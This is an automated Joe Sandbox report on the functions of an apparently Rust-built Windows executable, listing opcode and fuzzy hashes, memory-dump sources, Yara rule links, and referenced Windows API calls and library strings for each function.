Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81fd13f326fd704fd26da48a421e1b9c12aec5478836ec6e41fe077b3544eb00
Instruction ID: 6b4adf3127fc7bb4f01b15575db21209f886c75b615845aa85e714a8f854ba93
Opcode Fuzzy Hash: 81fd13f326fd704fd26da48a421e1b9c12aec5478836ec6e41fe077b3544eb00
Instruction Fuzzy Hash: D4718A1173855282FBA86A11E41053A92A5FF417B0F81D93FEDEEC76C8DA3DCAA4C700

Function 00007FF6819EBF50 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0780bec53aabcfab81571d88126cb3a6c2650bd0b795536170961db73793429
Instruction ID: d01129a82035a8ddc5ce9368b9f2f67a5072f6a6d4d6b2903cc48c482ecbefa4
Opcode Fuzzy Hash: a0780bec53aabcfab81571d88126cb3a6c2650bd0b795536170961db73793429
Instruction Fuzzy Hash: 0F812472A285D1C3EB298B58D0047B967A0FF55719F059138EE8A873D2DE7DE646C700

Function 00007FF681A76A00 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59084c008a8118d6edc8e36b50fc392dc64f0163a1d458128d5d8325ee7ffa7f
Instruction ID: a5315120d631e8cf188f40ca9070b84cd0843e8d2ab9382e8e7e97feffb6f481
Opcode Fuzzy Hash: 59084c008a8118d6edc8e36b50fc392dc64f0163a1d458128d5d8325ee7ffa7f
Instruction Fuzzy Hash: 7F514602B4961286FB34951AF45137A26A4FF45784F18893FEECE877CADD2CE681D310

Function 00007FF681A28F30 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98812ce29806aa053ce17aa0489343d893637958b97749a999eeb425844abac0
Instruction ID: 6bd181256b7396ba4d89dae76d8e86f0fb03c5913716c67d240ac3c0cfbdcf60
Opcode Fuzzy Hash: 98812ce29806aa053ce17aa0489343d893637958b97749a999eeb425844abac0
Instruction Fuzzy Hash: 72514AD2B197C542FF5487A6A4326BA9661AF8D7C0F40E13BDECD96B55EE2CD240C200

Function 00007FF681A8C710 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6620d917de04fe678b59c4f8b8261393c103cc9f4852ca46761ade9bf3208f7c
Instruction ID: 71d708f50900a8e70313c5b0189e7d83888e1ccd1810b45700c1fae36eca4d7f
Opcode Fuzzy Hash: 6620d917de04fe678b59c4f8b8261393c103cc9f4852ca46761ade9bf3208f7c
Instruction Fuzzy Hash: 86513AE2B197C543EF5487A5B5326BAA651AF893C0F40E137DECD97B59EE2CD240C600

Function 00007FF681B2BB10 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87028c54f1d5d8a0f1a507055a98c5ae8b45180b1939cd6f193d2284220729b4
Instruction ID: 8fc49cc5c8d5a4d36b2ecb6f1735ef9c803b8ce68073cf42fa3d447fcf3104a7
Opcode Fuzzy Hash: 87028c54f1d5d8a0f1a507055a98c5ae8b45180b1939cd6f193d2284220729b4
Instruction Fuzzy Hash: 33410E91F1869982FB254B565508BF4A251BF1BFC0F44A139ED0DE7B89DD3CE946C300

Function 00007FF681A284E0 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ebaa1b558c43ab61afb5a40a5e995edfc603e36c64b6659bcbd60401d4da419
Instruction ID: 242f84556bdc303322cfb6ba68753dccda43c8d8265a3b4910dd953201491fcf
Opcode Fuzzy Hash: 4ebaa1b558c43ab61afb5a40a5e995edfc603e36c64b6659bcbd60401d4da419
Instruction Fuzzy Hash: 7F51F8A270878182FF20C765A4613BAA751FB993D4F449136EE8D57A4ADF2DD281C700

Function 00007FF6819E6DF0 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a94ed11d689e976df297b737176b85f7b4ad862b5656d10fc79295d4fa741392
Instruction ID: 2655f03500461e93a36eb0cdae2f91ac088e4ad6f2d84a381d597c2fb409b7ba
Opcode Fuzzy Hash: a94ed11d689e976df297b737176b85f7b4ad862b5656d10fc79295d4fa741392
Instruction Fuzzy Hash: D3412572F046A182FF14CB51F564A787611FB90FD8F41953ADD1AA3B81CE78EA96C380

Function 00007FF6819EF570 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6893cea3457f3586e7a3934dd00b2e11c899bbceb93f04cf8f61f147a5dcbb8f
Instruction ID: 36157a912a9c8cc3e233f3018afa003c3726f7edf8151199b52793d94f3007d9
Opcode Fuzzy Hash: 6893cea3457f3586e7a3934dd00b2e11c899bbceb93f04cf8f61f147a5dcbb8f
Instruction Fuzzy Hash: 4051E7DAC1DFC946EA03073D94423A2B350BFFB6A4E10E713FDF471AA1EB546294A210

Function 00007FF6819E9490 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3cfd4911055293211ade60682e897c17cd214f7dc4110d1f27aeba906184d13
Instruction ID: e9360d4619df60d0c3f30f88d43acd728dbfa33e6501dbd5331cc8d8c1fa2652
Opcode Fuzzy Hash: b3cfd4911055293211ade60682e897c17cd214f7dc4110d1f27aeba906184d13
Instruction Fuzzy Hash: 2B4103B3908BC5C2E7218B59E4003AAB7A0FB88784F51912ADF8D57795EF7CD682C700

Function 00007FF6819EA690 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4030931f63ec7d38a567e4f51f9686e044275997ee47ebd6ea49f5ad6a692913
Instruction ID: 89bc611f0138d09bb17ce819ecbe75cd5f940e473681e66d10798c94bbb7aef0
Opcode Fuzzy Hash: 4030931f63ec7d38a567e4f51f9686e044275997ee47ebd6ea49f5ad6a692913
Instruction Fuzzy Hash: 7A312422A1468182EB75CF21E90073AAB61FB55794F149138DF8F63BA0DE3CD581CB00

Function 00007FF6819E6C50 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e120b344687191ef51ef07599d224289054d4b07f5068f3a745471cc1fc24bc3
Instruction ID: 5db80f3ffd91352e82556965ff134fc47ae8c1f356dceba8e07be5589a4177d7
Opcode Fuzzy Hash: e120b344687191ef51ef07599d224289054d4b07f5068f3a745471cc1fc24bc3
Instruction Fuzzy Hash: C531C8E6F08BC042FE54D7A9746637B9312BB957D0F80E236DD895BB0ADF2DD2428240

Function 00007FF681A28740 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 398e18c0e75fe7710d2418acfb7470ead79df41d600cdd7f1a95ea2862f8eeab
Instruction ID: 5db80f3ffd91352e82556965ff134fc47ae8c1f356dceba8e07be5589a4177d7
Opcode Fuzzy Hash: 398e18c0e75fe7710d2418acfb7470ead79df41d600cdd7f1a95ea2862f8eeab
Instruction Fuzzy Hash: C531C8E6F08BC042FE54D7A9746637B9312BB957D0F80E236DD895BB0ADF2DD2428240

Function 00007FF681A28370 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd56a130a53ef7213acb7c5d3ced445ef5a9d9bfa140b073783422ff46cdd45c
Instruction ID: a17c06a0588e5dc3b63043ec2d3dfc8ba43419e97e4afd3eac5ee3323a1811a6
Opcode Fuzzy Hash: fd56a130a53ef7213acb7c5d3ced445ef5a9d9bfa140b073783422ff46cdd45c
Instruction Fuzzy Hash: 7A31A9D6F08BC043FE54D7A8746637B9312BB957D0F80E235DD899AA0BDF2DD2428240

Function 00007FF681B15B80 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 422COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF681B15D45
GetFullPathNameW.KERNEL32 ref: 00007FF681B15D62
GetLastError.KERNEL32 ref: 00007FF681B15D6E
GetLastError.KERNEL32 ref: 00007FF681B15D88

Strings

\\?\UNC\, xrefs: 00007FF681B15EFE
\\?\, xrefs: 00007FF681B15EAC

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorLast$FullNamePath
String ID: \\?\$\\?\UNC\
API String ID: 2482867836-3019864461
Opcode ID: 32da0cdd311ef1aa394858b063438ba763ce1128b3a300109b7218422e402625
Instruction ID: 55684e576150568bb41eb45b94425493fdcd91daabc7e7db0f1ca48b97360709
Opcode Fuzzy Hash: 32da0cdd311ef1aa394858b063438ba763ce1128b3a300109b7218422e402625
Instruction Fuzzy Hash: 8702C362E08792C5EB718F65D8447B823A5FF06B98F41A13ADA5E9B6C4DF78D681C300

Function 00007FF681B13480 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF681B134AB
GetLastError.KERNEL32 ref: 00007FF681B134C4
GetConsoleMode.KERNEL32 ref: 00007FF681B13504
CloseHandle.KERNEL32 ref: 00007FF681B1378A

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF681B13705

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: Handle$CloseConsoleErrorLastMode
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1170577072-2333694755
Opcode ID: ade56fd7245eb1fa810f0d41ac301f723c5cd1d1bc8456b71d8fa67412fa43eb
Instruction ID: 91711ce507428d1553cf4a0928ba096859d5afa15a8dc7db6eb556bb6ba0487b
Opcode Fuzzy Hash: ade56fd7245eb1fa810f0d41ac301f723c5cd1d1bc8456b71d8fa67412fa43eb
Instruction Fuzzy Hash: E181B262A08792C8FB208B71D9003F92761BF067A8F45A539EE5D937A9EF7CD185C350

Function 00007FF681B137A0 Relevance: 7.7, APIs: 5, Instructions: 169COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF681B1382D
WriteConsoleW.KERNEL32 ref: 00007FF681B1386D
WriteConsoleW.KERNEL32 ref: 00007FF681B138D5
GetLastError.KERNEL32 ref: 00007FF681B138DF
GetLastError.KERNEL32 ref: 00007FF681B1397E

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ConsoleErrorLastWrite$ByteCharMultiWide
String ID:
API String ID: 1956605914-0
Opcode ID: 6aa1957782c3984cccb22beb52fd3774ef610274c3ee140c21dd77e148e6ad8f
Instruction ID: 74a8c0aa4c5d594e0cb44732eb5d323884b2333fcc8d331b6b10257157fe6d71
Opcode Fuzzy Hash: 6aa1957782c3984cccb22beb52fd3774ef610274c3ee140c21dd77e148e6ad8f
Instruction Fuzzy Hash: 9651BE62A08692C5E7308B61D8043F96651FF467E4F459239D98E8BBE8EF7CD685C340

Function 00007FF681B07690 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 267COMMON

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF681B07955

Strings

main, xrefs: 00007FF681B07A47
<unnamed>, xrefs: 00007FF681B07814, 00007FF681B0782A
Box<dyn Any>aborting due to panic at , xrefs: 00007FF681B07735

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: AddressSingleWake
String ID: <unnamed>$Box<dyn Any>aborting due to panic at $main
API String ID: 3114109732-896199136
Opcode ID: cead87e3f5a13cffe9a7407f8ad60b076bf57f308529ec93d462c441c6f862bc
Instruction ID: b67f294e722e31d0b310ccb47707feff91f03a16aca98c61dbf74dae4c934f63
Opcode Fuzzy Hash: cead87e3f5a13cffe9a7407f8ad60b076bf57f308529ec93d462c441c6f862bc
Instruction Fuzzy Hash: ECD18D32A08B42C9EB618B69D9403BD67A0FF65B88F54513ADA8DC7794CF3CE595C340

Function 00007FF681AFD410 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF681AFD55F
GetLastError.KERNEL32 ref: 00007FF681AFD566

Strings

reqwest::blocking::wait) park timeout , xrefs: 00007FF681AFD413, 00007FF681AFD598
use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs, xrefs: 00007FF681AFD56B

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: AddressErrorLastWait
String ID: reqwest::blocking::wait) park timeout $use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs
API String ID: 1574541344-1413046740
Opcode ID: 3a35012e800db69a61f0ff69cef46d4ef452004bf1159ea6994fc14bcd084878
Instruction ID: b9f75b8fe2a93a7fdba86f3360691d7974fe60b7225b588dc68405a80dd6614e
Opcode Fuzzy Hash: 3a35012e800db69a61f0ff69cef46d4ef452004bf1159ea6994fc14bcd084878
Instruction Fuzzy Hash: C741B036A18986D0EB62CB2AEC846B92770FF55BA4F14413ADD5D973E1CE7DE446C300

